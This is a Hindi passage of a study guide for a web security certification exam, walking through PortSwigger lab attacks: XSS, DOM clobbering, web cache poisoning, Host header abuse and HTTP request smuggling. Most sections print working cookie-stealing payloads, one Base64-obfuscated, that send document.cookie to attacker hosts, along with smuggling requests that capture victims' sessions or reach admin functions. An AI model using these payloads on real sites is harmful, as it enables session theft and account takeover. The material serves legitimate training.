आगे, उपरोक्त कुकी चोर पेलोड के Base64 encoded मान का उपयोग करके पेलोड को एन्कोड करें।``` ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ==
>अपने स्वयं के सत्र कुकी पर सर्च फ़ंक्शन में पेलोड का परीक्षण करें।```JavaScript
"-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"
उपरोक्त पेलोड असेंबली चरणों को समझना:
यह छवि दिखाती है कि Burp Collaborator
Deliver exploit to victimके लिए पेलोड सेट करने से पहले प्रूफ ऑफ कॉन्सेप्ट के रूप में मेरी कुकी वैल्यू प्राप्त कर रहा है।

इस पेलोड के सभी वर्णों को URL Encode करें और
/?SearchTerm=पैरामीटर के मान के रूप में उपयोग करें।```html "-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"
>एक्सप्लॉइट सर्वर पर `IFRAME` होस्ट करने से **error** संदेश मिलता है कि टारगेट से कनेक्ट करने से इनकार कर दिया गया। इसके बजाय पेलोड को एक्सप्लॉइट सर्वर पर `<script>` टैग्स के बीच होस्ट करें।```html
<script>
location = "https://TARGET.net/?SearchTerm=%22%2d%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%59%47%68%30%64%48%42%7a%4f%69%38%76%4e%48%6f%30%59%57%64%6c%4d%48%6c%77%59%6a%56%33%62%32%49%35%63%44%59%78%65%58%42%77%64%54%45%7a%64%6e%55%78%62%48%42%69%5a%44%41%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%70%7a%62%32%35%6a%50%57%41%67%4b%79%42%33%61%57%35%6b%62%33%64%62%49%6d%52%76%59%33%56%74%5a%57%35%30%49%6c%31%62%49%6d%4e%76%62%32%74%70%5a%53%4a%64%4b%51%3d%3d%22%29%29%2d%22"
</script>

नोट: यदि सक्रिय उपयोगकर्ता collaborator को HTTP अनुरोध नहीं भेजता है, तो
Deliver exploit to victimकुछ बार भेजें। सक्रिय उपयोगकर्ता का रूप धारण करने के लिए वर्तमान cookie मान को चुराई गई cookie से बदलें और Practice Exam का Stage 2 पर आगे बढ़ें।
PortSwigger Practice Exam - Stage 1 - Foothold
Stored XSS ब्लाइंड XSS भी हो सकता है। यदि alert payload ट्रिगर नहीं होता है, तो victim द्वारा क्लिक करने के लिए NahamSec blind xss video में दिया गया payload देखें, उदाहरण:
<svg/onload=import('//EXPLOIT.net/blind_xss')>
यदि stored input लिंक पर क्लिक करने वाले victim को रीडायरेक्ट करता है, तो यह exploit server को अनुरोध भेजता है। Stored XSS की पहचान करने के लिए निम्नलिखित नमूना कोड का उपयोग करें।```HTML![]()
>नीचे दिए गए लॉग प्रविष्टियाँ एक्सप्लॉइट सर्वर पर किए गए अनुरोधों को दिखाती हैं, और लॉग्स से हम ***पहचान*** सकते हैं कि उपरोक्त टैग्स के `/img` और `/video` को एप्लिकेशन पर अनुमति दी गई थी और एक्सेस करने पर अनुरोध किए गए।

>ब्लॉग पोस्ट टिप्पणी में सेव किया गया क्रॉस साइट स्क्रिप्टिंग। यह Cookie Stealer पेलोड फिर पीड़ित के सत्र कुकी को एक्सप्लॉइट सर्वर लॉग्स में भेजता है।```html
<img src="https://raw.githubusercontent.com/botesjuan/burp-suite-certified-practitioner-exam-study/HEAD/1" onerror="window.location='https://exploit.net/cookie='+document.cookie">
उत्पाद और स्टोर खोज```html ?productId=1&storeId=">
#### Stored XSS ब्लॉग पोस्ट
>Stored XSS ब्लॉग पोस्ट कुकी चुराने वाला, जो document cookie को exploit server पर भेजता है।```JavaScript
<script>
document.write('<img src="https://exploit.net?cookieStealer="+document.cookie+'" />');
</script>
नीचे दिया गया टार्गेट ब्लॉग टिप्पणी फ़ंक्शन में एक संग्रहीत XSS भेद्यता रखता है। पोस्ट होने के बाद टिप्पणियाँ देखने वाले पीड़ित उपयोगकर्ता का सत्र कुकी चुराएँ, और फिर उनकी कुकी का उपयोग करके प्रतिरूपण करें।

Fetch API JavaScript कुकी स्टीलर पेलोड ब्लॉग पोस्ट टिप्पणी में।```JavaScript
>[HackTheBox Bookworm का उपयोग करते हुए IPPSEC YouTube](https://youtu.be/UqDdR10F54A?si=nkhilLzyKQcfqtfU&t=1737), जिसमें वह `payload.js` JavaScript कोड दिखाता है कि वह `fetch` का उपयोग कैसे करता है और JavaScript सीखता है।
[PortSwigger Lab: कुकीज़ चुराने के लिए क्रॉस-साइट स्क्रिप्टिंग का शोषण](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)
#### संग्रहीत self-XSS को अपग्रेड करें
>**Stored self-XSS** वाली ब्लॉग टिप्पणी, पेलोड को अपग्रेड करके पीड़ित की जानकारी DOM से चुराने के लिए। **edit content** फ़ंक्शन इनपुट को `<script>` टैग में दर्शाता है। **write comment** के लिए CSRF टोकन **edit content** फ़ंक्शंस के समान है। नीचे दिया गया पेलोड **write comment** फ़ंक्शन का उपयोग करके पीड़ित से उनके अपने ब्लॉग पर हमारी दुर्भावनापूर्ण सामग्री के साथ एक ब्लॉग प्रविष्टि बनवाता है।
>`a` वर्ण को प्रारंभिक एप्लिकेशन `source code` से `#` हैश वर्ण से बचने के लिए जोड़ा गया है।
>ब्लॉग प्रविष्टि में नीचे दिया गया `source code` पीड़ित की जानकारी चुराने के लिए पूर्ण शोषण है।```html
<button form=comment-form formaction="/edit" id=share-button>Click Button</button>
<input form=comment-form name=content value='<meta http-equiv="refresh" content="1; URL=/edit" />'>
<input form=comment-form name=tags value='a");alert(document.getElementsByClassName("navbar-brand")[0].innerText)//'>
इस लक्ष्य का शोषण एक HTML इंजेक्शन बनाकर किया जाता है जो
share_buttonनामक वेरिएबल को अधिलेखित करता है, नीचेsource codeदेखें और ऊपर दिए गए HTML कोड का उपयोग करता है। सामग्री पृष्ठ पर प्रतिबिंबित होती है, फिर इस प्रतिबिंब का उपयोग करके पीड़ित के/editपृष्ठ पर पृष्ठ पुनर्निर्देशन सक्षम होता है, जिसमेंmeta http-equivटैग का उपयोग करके पृष्ठ को 1 सेकंड के बाद रीफ्रेश किया जाता है, जिसके परिणामस्वरूप पुनर्निर्देशन होता है।
```
https://challenge-1222.intigriti.io/blog/unique-guid-value-abc123?share=1
>उपरोक्त ब्लॉग प्रविष्टि को संदर्भित करने वाला url पीड़ित को भेजकर शोषण वितरित करें, इससे उनके रूप में XSS ट्रिगर होगा।
[intigriti - Self-XSS अपग्रेड - दिसंबर 22 XSS चैलेंज का समाधान](https://youtu.be/FowbZ8IlU7o)
>Edit Content ब्लॉग प्रविष्टि पृष्ठ में HTML इंजेक्शन का उपयोग करके वैकल्पिक शोषण, [XSS Resources CSP check](#xss-resources) का उपयोग करके ***पहचाना गया***।```
<base href="https://Exploit.net">
एक्सप्लॉइट सर्वर पर JS फ़ाइल को
static/js/bootstrap.bundle.min.jsके रूप में होस्ट करें, निम्न सामग्री के साथ:``` alert(document.getElementsByClassName("navbar-brand")[0].innerText)
>संशोधित PortSwigger लैब पेलोड अगली बार पृष्ठ लोड होने पर वेरिएबल `defaultAvatar` को `document.location` फ़ंक्शन सौंपता है, क्योंकि साइट DOMPurify का उपयोग करती है जो `cid:` प्रोटोकॉल के उपयोग की अनुमति देता है जो दोहरे उद्धरणों को URLencode नहीं करता है।```
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=document.location=`https://OASTIFY.COM/?clobber=`+document.cookie//">
पोर्टस्विगर लैब: XSS सक्षम करने के लिए DOM क्लोबरिंग का शोषण
जावास्क्रिप्ट
source codeमें, शामिल स्क्रिप्टresources/js/loadCommentsWithVulnerableEscapeHtml.jsमें हम कस्टमloadCommentsफ़ंक्शन के अंदरhtml.replace()फ़ंक्शन की पहचान करते हैं। पेलोड का परीक्षण करने पर हम देखते हैं कि फ़ंक्शन केवल<>की पहली घटना को प्रतिस्थापित करता है।
```html
<>
>उपरोक्त पेलोड संग्रहीत होता है और कोई भी उपयोगकर्ता टिप्पणी ब्लॉग पर जाता है, जिसके परिणामस्वरूप उनकी सत्र कुकी चोरी होकर कॉलरेटर को भेज दी जाती है।

>PortSwigger लैब पेलोड: `<>`।
[PortSwigger लैब: Stored DOM XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored)
-----
## वेब कैश विषाक्तता
[अनकीड हेडर](#unkeyed-header)
[अनकीड Utm_content](#unkeyed-utm_content)
[क्लोकिंग utm_content](#cloaking-utm_content)
[अस्पष्ट अनुरोध को विषाक्त करें](#poison-ambiguous-request)
[कई हेडरों को कैश विषाक्त करें](#cache-poison-multiple-headers)
### अनकीड हेडर
>लक्ष्य **tracking.js** जावास्क्रिप्ट का उपयोग करता है,
>और **```X-Forwarded-Host```** या **```X-Host```** हेडर द्वारा पथ पुनर्निर्देशन के लिए संवेदनशील है,
>जिससे कैश को विषाक्त करके कुकी की चोरी संभव होती है।
>***पहचानें*** प्रतिक्रिया में वेब कैश हेडर को और पृष्ठ स्रोत कोड में tracking.js स्क्रिप्ट को।
>जावास्क्रिप्ट होस्ट करके और हेडर इंजेक्ट करके भेद्यता का शोषण करें, ताकि लक्ष्य के कैश को विषाक्त कर किसी आने वाले पीड़ित को पुनर्निर्देशित किया जा सके।
```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net

एक्सप्लॉइट सर्वर पर होस्टिंग करना, अनुरोध में
X-Forwarded-Hostहेडर इंजेक्ट करना, और कैश को पॉइज़न करना जब तक कि पीड़ित पॉइज़न कैश को हिट न कर दे।``` /resources/js/tracking.js

>बॉडी सहयोग सेवा को सत्र कुकी भेजता है।```javascript
document.location='https://OASTIFY.COM/?cookies='+document.cookie;
लक्ष्य के वेब कैश को
X-Forwarded-Hostहेडर के साथ अनुरोध पुनः भेजकर पॉइज़न करते रहें।

PortSwigger लैब: बिना कुंजी वाले हेडर के साथ वेब कैश पॉइज़निंग
YouTube वीडियो जिसमें ऊपर दिए गए लैब पेलोड को एक्सप्लॉइट सर्वर पर संशोधित किया गया है ताकि जब पीड़ित बैक-एंड सर्वर पर कैश की गई प्रविष्टि को हिट करे तो पीड़ित का कुकी चुराई जा सके। पेलोड ऊपर दिया गया JavaScript है।
YouTube: बिना कुंजी वाले हेडर के साथ वेब कैश पॉइज़निंग - कुकी चुराने वाला
वेब कैश कमजोरियों की पहचान करने के लिए Param Miner एक्सटेंशन
लक्ष्य वेब कैश पॉइज़निंग के प्रति संवेदनशील है क्योंकि यह एक निश्चित पैरामीटर को कैश कुंजी से बाहर रखता है। Param Miner की "Guess GET parameters" सुविधा इस पैरामीटर को utm_content के रूप में पहचान करेगी।
```
GET /?utm_content='/>
>उपरोक्त payload कैश हो जाता है और लक्ष्य cookie पर जाने वाला पीड़ित Burp collaborator को भेज दिया जाता है।

[PortSwigger Lab: Web cache poisoning via an unkeyed query parameter](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-param)
### utm_content क्लोकिंग
>Param Miner एक्सटेंशन `Bulk scan > Rails parameter cloaking scan` चलाने पर इस कमजोरी को अपने आप ***पहचान*** लेगा। मैन्युअल रूप से `utm_content` में `;` जोड़कर दूसरा parameter जोड़कर इसे पहचाना जा सकता है, cache इसे एक ही parameter के रूप में मानता है। इसका मतलब है कि अतिरिक्त parameter भी cache key से बाहर रखा जाता है।
>हर पेज पर `/js/geolocate.js?callback=setCountryCookie` का `source code` कॉल किया जाता है और callback फ़ंक्शन को निष्पादित करता है।
>`callback` parameter keyed होता है, और इस प्रकार पीड़ित उपयोगकर्ता के लिए cache को poison नहीं किया जा सकता, लेकिन `utm_content` के साथ duplicate parameter को मिलाने पर यह बाहर कर दिया जाता है और cache को poison किया जा सकता है।```
GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=EVILFunction

नीचे Cache Cloaking Cookie Capturing पेलोड दिया गया है, जब तक पीड़ित संग्रहीत कैश को हिट न कर दे, कैश को पॉइज़न करते रहें।``` GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='%2bdocument.cookie%3b HTTP/2
>नीचे [Url Decoded](https://www.urldecoder.org/) पेलोड है।```
GET/js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='+document.cookie; HTTP/2
PortSwigger लैब: पैरामीटर क्लोकिंग
एक एक्सप्लॉइट सर्वर के साथ दूसरा Host हेडर जोड़ने पर, यह एक अस्पष्ट कैश भेद्यता की पहचान करता है और आपके अनुरोध को रूट करता है। ध्यान दें कि दूसरे Host हेडर में मौजूद एक्सप्लॉइट सर्वर,
/resources/js/tracking.jsसे स्क्रिप्ट आयात करने के लिए उपयोग किए जाने वाले एक एब्सोल्यूट URL में प्रतिबिंबित होता है।```html Host: TARGET.net Host: exploit.net
>एक्सप्लॉइट सर्वर पर एक फ़ाइल को उसी पथ पर सेट करें जिसे लक्ष्य कॉल करता है ```/resources/js/tracking.js```, इसमें पेलोड होगा। कुकी स्टीलर (cookie stealer) निष्पादित करने के लिए नीचे JavaScript पेलोड कोड रखें।```
document.location='https://OASTIFY.COM/?CacheCookies='+document.cookie;

PortSwigger लैब: अस्पष्ट अनुरोधों के माध्यम से वेब कैश पॉइज़निंग
पहचानें कि प्रतिक्रियाओं में कैश हिट हेडर कौन से हैं,
फिर परीक्षण करें कि क्या लक्ष्यX-Forwarded-HostयाX-Forwarded-Schemeहेडर को समर्थन करता है.
ये हेडर पीड़ित के सत्र कुकी की चोरी की अनुमति दे सकते हैं.
पहचानें कि क्या GET
/resources/js/tracking.jsअनुरोध में दो Forwarded हेडर जोड़ने से location प्रतिक्रिया हेडर में परिवर्तन होता है। यह पहचानता है कि कैश में कई हेडरों के साथ सकारात्मक पॉइज़निंग हुई है.```html GET /resources/js/tracking.js?cb=123 HTTP/2 Host: TARGET.net X-Forwarded-Host: EXPLOIT.net X-Forwarded-Scheme: nothttps

>एक्सप्लॉइट सर्वर पर फ़ाइल पथ को ```/resources/js/tracking.js``` में बदलें
>और फिर पॉइज़न अनुरोध ```X-Forwarded-Host: EXPLOIT.net``` हेडर को अपडेट करें।
>पेलोड को एक्सप्लॉइट सर्वर बॉडी पर रखें।```html
document.location='https://OASTIFY.COM/?poisoncache='+document.cookie;
cb=123कैश बस्टर हटाएँ, और फिर कैश में तब तक ज़हर डालें जब तक पीड़ित एक्सप्लॉइट सर्वर पेलोड tracking.js पर पुनर्निर्देशित न हो जाए, ताकि सत्र कुकी चुराई जा सके।
PortSwigger लैब: एकाधिक हेडर के साथ वेब कैश पॉइज़निंग
पहचानें कि एप्लिकेशन डुप्लिकेट पैरामीटर पॉइज़निंग के प्रति असुरक्षित है, समान नाम और भिन्न मान वाला दूसरा पैरामीटर जोड़ने पर प्रतिक्रिया में इंजेक्ट किया गया मान प्रतिबिंबित हुआ।
```
GET /js/geolocate.js?callback=setCountryCookie&callback=FUZZERFunction; HTTP/2
>डुप्लिकेट कॉलबैक पैरामीटर पास करके प्रतिक्रिया में कॉल किया जाने वाला फ़ंक्शन प्रतिबिंबित होता है। ध्यान दें कि प्रतिक्रिया में कैश कुंजी अभी भी GET अनुरोध पंक्ति में मूल कॉलबैक पैरामीटर से प्राप्त होती है।

>कुकी स्टीलर पेलोड को कार्यशील बनाने में सक्षम नहीं......
[PortSwigger लैब: फैट GET अनुरोध के माध्यम से वेब कैश पॉइज़निंग](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
-----
## Host हेडर
[IP पता स्पूफ करें](#spoof-ip-address)
[HOST कनेक्शन स्थिति](#host-connection-state)
[Host रूटिंग आधारित SSRF](#host-routing-based-ssrf)
[त्रुटिपूर्ण Host अनुरोध पार्सिंग के माध्यम से SSRF](#absolute-get-url--host-ssrf)
### IP पता स्पूफ करें
>***पहचानें*** कि संशोधित HOST हेडर समर्थित हैं,
>जो आपको अपना IP पता स्पूफ करने और IP-आधारित ब्रूट-फोर्स सुरक्षा को बायपास करने की अनुमति देता है
>या ***पासवर्ड रीसेट*** पॉइज़निंग करने के लिए रीडायरेक्शन हमले।
>अनुरोध भेजने से पहले नीचे दिए गए `X- ` हेडर शामिल करें और पासवर्ड रीसेट अनुरोध पर उपयोगकर्ता नाम पैरामीटर को `Carlos` में बदलें।
>BSCP परीक्षा में यदि आपने इस एक्सप्लॉइट का उपयोग किया है, तो इसका मतलब है कि आपने ऐसी भेद्यता का उपयोग नहीं किया है जिसके लिए उपयोगकर्ता इंटरैक्शन की आवश्यकता होती है और जो आपको एक्सप्लॉइट सर्वर `Deliver exploit to victim` फ़ंक्शन का उपयोग करके व्यवस्थापक के रूप में चरण 3 तक पहुंच प्राप्त करने के लिए इंटरैक्शन भेद्यता का उपयोग करने की अनुमति देती है।```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net
fullfox से टिप्स और नोट्स:
Host: या X-Forwarded-Host: का उपयोग करके होस्ट हेडर स्पूफिंग कर रहे हों, यदि आपको Invalid hostname त्रुटि मिलती है, तो निम्न होस्टनाम आज़माएँ: xxx.oastify.com?TARGET.net स्लैश के बिना वैध टारगेट URL।एक्सप्लॉइट सर्वर लॉग की जाँच करें ताकि पीड़ित उपयोगकर्ता नाम के लिए रीसेट लिंक प्राप्त किया जा सके।

PortSwigger Lab: पासवर्ड रीसेट पॉइज़निंग मिडल-वेयर के माध्यम से
लक्ष्य होस्ट हेडर के माध्यम से रूटिंग-आधारित SSRF के लिए संवेदनशील है, लेकिन पहले अनुरोध की कनेक्शन स्थिति को सत्यापित करें। single connection का उपयोग करके क्रम में समूहबद्ध अनुरोध भेजना और कनेक्शन हेडर को keep-alive पर सेट करना, होस्ट हेडर सत्यापन को बायपास करता है और स्थानीय सर्वर के SSRF शोषण को सक्षम करता है।```html GET / HTTP/1.1 Host: TARGET.net Cookie: session=ValueOfSessionCookie Content-Length: 48 Content-Type: text/plain;charset=UTF-8 Connection: keep-alive
>अगला अनुरोध अनुरोधों के समूह अनुक्रम में दूसरा टैब है।```html
POST /admin/delete HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53
csrf=TheCSRFTokenValue&username=carlos
ध्यान दें कि दूसरे अनुरोध ने सफलतापूर्वक एडमिन पैनल तक पहुंच बना ली है।

PortSwigger Lab: Host validation bypass via connection state attack
फ्रंट-एंड और बैक-एंड सर्वर वाली आर्किटेक्चर, और फ्रंट-एंड या बैक-एंड चंक्ड एन्कोडिंग (HEX) या कंटेंट-लेंथ (Decimal) का समर्थन नहीं करता। पीड़ित के अनुरोध को प्राप्त करने और उनके खाते तक पहुँचने के लिए पीड़ित उपयोगकर्ता के कुकीज़ का उपयोग करने हेतु सुरक्षा नियंत्रणों को बायपास करें।
TE.CL dualchunk - Transfer-encoding obfuscated
TE.CL multiCase - Admin blocked
CL.TE multiCase - Admin blocked
CL.TE multiCase - Content-Length Cookie Stealer
CL.TE multiCase - User-Agent Cookie Stealer
HTTP/2 smuggling - CRLF injection Cookie Stealer
HTTP/2 TE - Admin Cookie Stealer
यदि डुप्लिकेट हेडर नामों की अनुमति है, और भेद्यता को dualchunk के रूप में पहचाना जाता है, तो नाम और मान = Transfer-encoding: cow के साथ एक अतिरिक्त हेडर जोड़ें। दूसरे TE के साथ obfuscation तकनीकों का उपयोग करें।``` Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-encoding: identity Transfer-encoding: cow
>कुछ सर्वर जो `Transfer-Encoding` हेडर का समर्थन करते हैं, यदि हेडर किसी तरह **अस्पष्टीकृत** हो, तो उन्हें इसे संसाधित न करने के लिए प्रेरित किया जा सकता है।
>Repeater मेनू पर सुनिश्चित करें कि **"Update Content-Length"** विकल्प अनचेक किया गया है।```html
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity
e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0\r\n
\r\n

नोट: आपको अंतिम 0 के बाद अनुगामी अनुक्रम \r\n\r\n शामिल करना होगा।
PortSwigger लैब: HTTP request smuggling, Transfer-Encoding (TE) हेडर को अस्पष्ट करना
आश्चर्य है कि यह परिदृश्य कितनी बार घटित होता है कि हैकर HTTP Sync भेद्यता के माध्यम से आने वाले उपयोगकर्ता के अनुरोध को चुरा पाने में सक्षम होता है?
/adminपोर्टल URL पथ तक पहुँचने का प्रयास करने पर, हमें फ़िल्टर संदेशPath /admin is blockedमिलता है। HTTP Request Smuggler स्कैनर भेद्यता कोTE.CL multiCase (delayed response)के रूप में पहचानता है। नोट: क्योंकि बैक-एंड सर्वर chunked encoding का समर्थन नहीं करता, इसलिए Repeater मेनू मेंUpdate Content-Lengthबंद कर दें।
ऑटो Content-Length अपडेट बंद करने के बाद,
HTTP/1.1में बदलें, फिर नीचे दिए अनुरोध को दो बार भेजें; दूसरा हेडरContent-Length: 15जोड़ने से HOST हेडर का पहले अनुरोध के साथ टकराव रुकता है।
नोट: अंतिम0के बाद अनुगामी अनुक्रम\r\n\r\nशामिल करना आवश्यक है।
रिक्वेस्ट स्मगलिंग हमलों में लंबाई फ़ील्ड्स को मैन्युअल रूप से सही करने के लिए, प्रत्येक चंक का आकार बाइट्स में HEXADECIMAL में व्यक्त करना आवश्यक है, और Content-Length संदेश बॉडी की लंबाई बाइट्स में निर्दिष्ट करता है। चंक्स के बाद newline आता है, फिर चंक की सामग्री आती है। संदेश आकार ZERO वाले चंक के साथ समाप्त होता है।```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked
71 POST /admin HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15
x=1 0
>TE.CL (Transfer-Encoding / Content-Length) स्मगलिंग अनुरोध की लंबाई की गणना **हेक्साडेसिमल** में करना, और पेलोड **71** की हेक्स लंबाई और समाप्ति **शून्य** के बीच होता है, जिसमें शून्य को शामिल नहीं किया जाता और न ही शून्य के ऊपर की पंक्ति में मौजूद `\r\n` को लंबाई के भाग के रूप में शामिल किया जाता है. प्रारंभिक POST अनुरोध **content-length** मैन्युअल रूप से सेट किया गया है.

>जब उपयोगकर्ता को हटाने के लिए `/admin/delete?username=carlos` भेजा जाता है, तो अतिरिक्त स्मगल किए गए अनुरोध आकार को शामिल करने के लिए ट्रांसफर एन्कोडिंग हेक्स लंबाई को `71` से `88` हेक्साडेसिमल मान में बदल दिया जाता है.
[PortSwigger लैब: फ्रंट-एंड सुरक्षा नियंत्रणों को बायपास करने के लिए HTTP रिक्वेस्ट स्मगलिंग का शोषण, TE.CL भेद्यता](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl)
### CL.TE multiCase - एडमिन अवरुद्ध
>जब `/admin` पोर्टल URL पथ तक पहुँचने का प्रयास किया जाता है, तो हमें फ़िल्टर संदेश `Path /admin is blocked` मिलता है. HTTP Request Smuggler स्कैनर भेद्यता को `CL.TE multiCase (delayed response)` के रूप में ***पहचानता*** है.
>एडमिन पैनल तक पहुँचने के लिए, नीचे दिए गए अनुरोध को दो बार भेजें, दूसरा हेडर ```Content-Length: 10``` जोड़ते हुए, पहले अनुरोध के साथ HOST हेडर के टकराव को रोकने के लिए.```html
POST / HTTP/1.1
Host: TARGET.net
Cookie: session=waIS6yM79uaaNUO4MnmxejP2i6sZWo2E
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
tRANSFER-ENCODING: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
दूसरी बार अनुरोध भेजने पर प्रतिक्रिया में एडमिन पोर्टल लौटाया जाता है।

पीड़ित के अनुरोधों को कैप्चर करने के लिए बड़ा Content-Length। स्मगल किए गए अनुरोध के साथ POST अनुरोध भेजना, लेकिन content length वास्तविक लंबाई से अधिक लंबा होता है और जब पीड़ित ब्राउज़ करता है तो उनकी कुकी सत्र मान blob टिप्पणी में पोस्ट किया जाता है। comment-post अनुरोध का Content-Length बढ़ाकर 798 कर दिया, फिर बैक-एंड सर्वर पर POST अनुरोध स्मगल करें।```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-Length: 242 Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: session=HackerCurrentCookieValue
csrf=ValidCSRFCookieValue&postId=8&name=c&email=c%40c.c&website=&comment=c

>उपरोक्त तस्करी किए गए POST अनुरोध के अंत में कोई नई पंक्ति नहीं है^^।
>ब्लॉग **पोस्ट** देखें कि क्या कोई टिप्पणी है जिसमें किसी उपयोगकर्ता का अनुरोध है। ध्यान दें कि एक बार पीड़ित उपयोगकर्ता लक्षित वेबसाइट ब्राउज़ करता है, तभी हमला सफल होगा। ब्लॉग पोस्ट टिप्पणी से उपयोगकर्ता का Cookie header कॉपी करें, और कुकी का उपयोग पीड़ित के खाते तक पहुँचने के लिए करें।

[PortSwigger Lab: अन्य उपयोगकर्ताओं के अनुरोधों को कैप्चर करने के लिए HTTP request smuggling का शोषण](https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests)
### CL.TE multiCase - User-Agent कुकी चुराने वाला
>***पहचानें*** कि UserAgent मान GET अनुरोध में संग्रहीत है जो ब्लॉग टिप्पणी फ़ॉर्म लोड करता है, और **User-Agent** छिपे मान में संग्रहीत है। HTTP request smuggling का शोषण करके **User-Agent** मान का उपयोग करके reflected XSS पहुंचाना, जिसे फिर एक तस्करी किए गए अनुरोध में रखा जाता है।
>बेसिक Cross Site Scripting पेलोड जो HTML दस्तावेज़ से बाहर निकलता है।```JavaScript
"/><script>alert(1)</script>
कुकी चुराने वाला पेलोड.```JavaScript a"/>;
>इस XSS अनुरोध को बैक-एंड सर्वर तक तस्करी से भेजें, ताकि यह अगले विज़िटर का शोषण कर सके। XSS कुकी स्टीलर को **User-Agent** हेडर में रखें।```html
POST / HTTP/1.1
Host: TARGET.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
0
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1

पीड़ित द्वारा लक्ष्य ब्राउज़ करने से प्राप्त PortSwigger Collaborator अनुरोध की जाँच करें।

PortSwigger लैब: रिफ्लेक्टेड XSS देने के लिए HTTP रिक्वेस्ट स्मगलिंग का शोषण
लक्ष्य रिक्वेस्ट स्मगलिंग के प्रति संवेदनशील है क्योंकि फ्रंट-एंड सर्वर HTTP/2 अनुरोधों को डाउनग्रेड करता है और आने वाले हेडर को पर्याप्त रूप से सैनिटाइज़ करने में विफल रहता है। शोषण एक HTTP/2-विशेष रिक्वेस्ट स्मगलिंग वेक्टर के उपयोग से किया जाता है ताकि पीड़ित का सत्र कुकी चुराकर उपयोगकर्ता के खाते तक पहुँच प्राप्त की जा सके।
पहचानें संभावित कमजोरी तब होती है जब लक्ष्य कुकी के आधार पर पिछली और हाल की खोज इतिहास को प्रतिबिंबित करता है; कुकी हटाने पर यह ध्यान दिया जाता है कि आपका खोज इतिहास रीसेट हो जाता है, जिससे पुष्टि होती है कि यह आपके सत्र कुकी से जुड़ा है।

Inspector के Request Attributes अनुभाग का विस्तार करें और प्रोटोकॉल को HTTP/2 में बदलें, फिर
fooनामक एक मनमाना हेडर जिसका मानbarहै, जोड़ें; इसके बाद\r\nअनुक्रम डालें, फिरTransfer-Encoding: chunkedजोड़ें, और shift+ENTER दबाएँ।

नोट: Allow HTTP/2 ALPN override विकल्प सक्षम करें और HTTP/2 अनुरोध की बॉडी को नीचे दिए गए POST अनुरोध में बदलें।```html 0
POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Cookie: session=HACKER-SESSION-COOKIE Content-Length: 800
search=nutty

[PortSwigger लैब: CRLF इंजेक्शन के माध्यम से HTTP/2 अनुरोध स्मगलिंग](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection)
[यूट्यूब डेमो: CRLF इंजेक्शन के माध्यम से HTTP/2 अनुरोध स्मगलिंग](https://youtu.be/E-bnCGzl7Rk)
### HTTP/2 TE desync v10a h2path
